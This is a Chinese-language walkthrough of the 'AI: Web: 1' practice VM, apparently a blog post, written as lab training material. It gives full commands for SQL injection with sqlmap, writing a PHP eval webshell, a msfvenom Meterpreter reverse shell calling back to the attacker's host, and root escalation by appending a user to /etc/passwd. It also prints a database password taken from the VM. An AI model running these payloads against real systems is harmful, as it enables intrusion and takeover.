AI: Web: 1靶机-Walkthrough

靶机地址
难度:中等

博客中如有任何问题,恳请批评指正,万分感谢。个人邮箱:[email protected]

工具、知识点和漏洞

netdiscover
nmap
dirsearch
dirb
gobuster
sqlmap
burpsuite
metasploit
msfvenom
/etc/passwd提权

存疑、待解决

  • 在这个靶机中,如何使用--sql-queryuploads目录下写入webshell

一、信息收集

靶机IP:192.168.0.109

netdiscover -r 192.168.0.0/24

netdiscover
端口和服务

nmap -sS -sV -T4 -A -p- 192.168.0.109

nmap
robots.txt

  • /m3diNf0/
  • /se3reTdir777/uploads/

两个都无法访问

但是/se3reTdir777/可以访问
se3reTdir777

页面、目录枚举
第一次,无果

dirb http://192.168.0.109 -X .php,.txt,.zip,.html
python3 dirsearch.py -u http://192.168.0.109 -e .php,.txt,.zip,.html

第二次

python3 dirsearch.py -u http://192.168.0.109/se3reTdir777/ -e .php,.txt,.zip,.html
gobuster dir -u http://192.168.0.109/se3reTdir777/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/big.txt -x .php,.txt,.html,.zip

dirsearch

  • /se3reTdir777/index.php
  • /se3reTdir777/index.php/login/

其实是同一个页面

回到/se3reTdir777/index.php页面,第一反应想到是SQLi
User ID:1
Id:1
First Name: admin
Last Name: admin

User ID:1'
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘1’’’ at line 1

=>双引号显注

User ID:-1" or 1=1--+
No Result

User ID:2-1
Id:2
First Name: root
Last Name: root

=>字符型

User ID:1" order by 6(或5或4)#
Id:1
First Name: admin
Last Name: admin

User ID:1" and 1=1(或1=2)#
Id:1
First Name: admin
Last Name: admin

直接上sqlmap
burpsuite进行抓包,将整个POST请求保存到一个txt中
POST

sqlmap -r Desktop/uid.txt --dbs

[10:36:58] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL >= 5.0
[10:36:58] [INFO] fetching database names
available databases [2]:
[]aiweb1
[] information_schema

sqlmap -r Desktop/uid.txt --current-user

[10:40:20] [INFO] fetching current user
current user: ‘aiweb1user@localhost’

sqlmap -r Desktop/uid.txt -D aiweb1 --tables

[10:45:55] [INFO] fetching tables for database: ‘aiweb1’
Database: aiweb1
[2 tables]
| user |
| systemUser |

sqlmap -r Desktop/uid.txt -D aiweb1 -T systemUser --columns

Database: aiweb1
Table: systemUser
[3 columns]
±---------±------------+
| Column | Type |
±---------±------------+
| id | int(11) |
| password | varchar(50) |
| userName | varchar(25) |
±---------±------------+

sqlmap -r Desktop/uid.txt -D aiweb1 -T systemUser -C id,password,userName

在这里插入图片描述
尝试读取/etc/passwd失败

sqlmap -r Desktop/uid.txt --file-read="/etc/passwd"

获取数据库数据保存的位置
先进入sql-shell

sqlmap -r Desktop/uid.txt --sql-shell

sql-shell> select @@datadir
[11:44:08] [INFO] fetching SQL SELECT statement query output: ‘select @@datadir’
select @@datadir: ‘/var/lib/mysql/

再次尝试读取/etc/passwd
sql-shell> select load_file('/etc/passwd')
[11:48:47] [INFO] fetching SQL SELECT statement query output: ‘select load_file(’/etc/passwd’)’
select load_file(’/etc/passwd’): ' '

尝试过--os-shell,但无奈不知道网站的物理路径

sqlmap -r Desktop/uid.txt --os-shell

二、getshell

转机

犯了个致命的错误,我没有爆破m3diNf0目录下的页面,菜的安详~~

dirb http://192.168.0.109/m3diNf0/ -X .php,.txt,.zip,.html

发现/m3diNf0/info.php
phpinfo知道了网站根目录
DOCUMENT_ROOT /home/www/html/web1x443290o2sdf92213

只有知道物理路径我们才有可能获取webshell

重新尝试--os-shell
第一次使用的路径是/home/www/html/web1x443290o2sdf92213/,没有成功,可能是没有写入权限。想到之前有个/se3reTdir777/uploads/目录,作为上传目录应该是有写入权限的,一试果然可以。
os-shell

小插曲:我输入id查看当前用户,然后提示我是否想接收一个标准输出,我选择了备选项[Y/n/a]中的Y,结果返回的结果是No output,之后输入y,返回正常……

id
之后执行sudo -l,然后又出了点问题,我为什么要一根筋的一直用os-shell?
sudo
想在uploads目录下写入一个shell,先后开始用了--sql-shell--sql-query,结果提示:execution of non-query SQL statements is only available when stacked queries are supported。关于这个问题的原因可以看sqlmap项目组成员的回答

sqlmap -r Desktop/uid.txt --sql-query='select "<?php @eval($_POST[cmd]); ?>" INTO OUTFILE "/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/shell.php"'

sql query

其实这里是对os-shell不熟悉,不然就直接使用os-shell提供的the file stager上传webshell了。详情见本篇:后记 1

file-dest写入webshell

尝试使用--file-destwebshell写入到uploads目录
先使用msfvenom生成shell代码

记得把生成的shell代码的最前面两个字符/*删除。

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.0.108 LPORT=1234 R > shell.php 

shell
–file-dest将本地shell写入到uploads目录

sqlmap -r Desktop/uid.txt --file-write /root/shell.php --file-dest /home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/webshell.php

如果远程存在该文件,则无法写入。

file-dest

关于sqlmap拿shell,可以看大神陈小兵写的一篇文章使用sqlmap渗透常规思路

使用metasploit接收反弹的shell

msfconsole
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.0.108
set lport 1234
run

最后访问http://192.168.0.109/se3reTdir777/uploads/webshell.php进行shell反弹。

metasploit收到反弹的shell后,先依次执行下列命令,原因参见Upgrading simple shells to fully interactive TTYs

shell
python -c 'import pty;pty.spawn("/bin/bash")'

meterpreter

三、利用/etc/passwd提权

系统内信息收集

下载LinEnum.sh脚本到靶机,赋予可执行权限,结果运行的时候提示没有权限。
LinEnum
手动搜集能够提权的信息吧,这里参考privilege_escalation_-_linux

内核版本

uname -a

4.15.0-64-generic

searchsploit linux 4.15

有四个本地权限提升的漏洞,我只试了第一个,因为需要靶机安装了gcc才能进行后续操作,而安装的时候需要使用sudo命令,我们不知道www-data用户的登录密码,所以放弃。
searchsploit

cat /etc/passwd

发现有这么几个用户:
aiweb1
aiweb1pwn

/home/www/html/web1x443290o2sdf92213/se3reTdir777/目录下发现一个c0nFil3bd.php,浏览器访问时无内容。cat打开之后发现是个数据库连接配置文件,里面有用户名密码aiweb1user/wGuDisZiTkLhuiH_z_zZQXXi,然而没什么用。
在这里插入图片描述
#Find SUID

find / -perm -u=s -type f 2>/dev/null

没有发现可用的SUID权限可执行程序
常见的SUID提权程序如下,参见对SUID可提权Root Shell的探究

  • nmap
  • vim
  • less
  • more
  • nano
  • cp
  • mv
  • find
  • bash

www-data用户执行sudo命令需要密码,而且我们也不知道www-data用户在不在/etc/sudoers中。关于sudo提权,参见how-i-got-root-with-sudo/.

全局可写文件夹、文件

find / -writable -type d 2>/dev/null  #文件夹
find / -writable -type f 2>/dev/null  #文件

/etc/passwd

添加用户名密码到/etc/passwd

www-data用户具有/etc/passwd的可写权限。添加一个用户到/etc/passwd文件中

perl -le 'print crypt("Ai:Web:1.0","salt")'
echo "ins1ght:saPxWonD/gnR6:0:0:hacker:/root:/bin/bash" >> /etc/passwd
cat /etc/passwd | grep ins1ght

ins1ght
使用su ins1ght切换账户,密码是Ai:Web:1.0
ins1ght

后记

1.之前我们成功获取了os-shell,成功获取os-shell后会在uploads目录下生成两个php文件,一个php文件(the file stager)的作用的是提供上传文件的功能,另一个就是webshell文件(the backdoor)。如下面两个图中所示,
uploados-shell
2.LinEnum.sh不可执行,但是我们可以使用linuxprivchecker.py
linuxprivchecker.py
3.赋予LinEnum.sh权限的时候如果使用命令chmod 777 LinEnum.sh,即给予全局的RWX那么在执行的时候是不会报错的,可能是脚本在执行的过程中需要读写权限。

如果您有其他的方法,欢迎留言。若文中有任何错误,恳请批评指正。

发布了41 篇原创文章 · 获赞 14 · 访问量 7936

猜你喜欢

转载自blog.csdn.net/weixin_44214107/article/details/101075389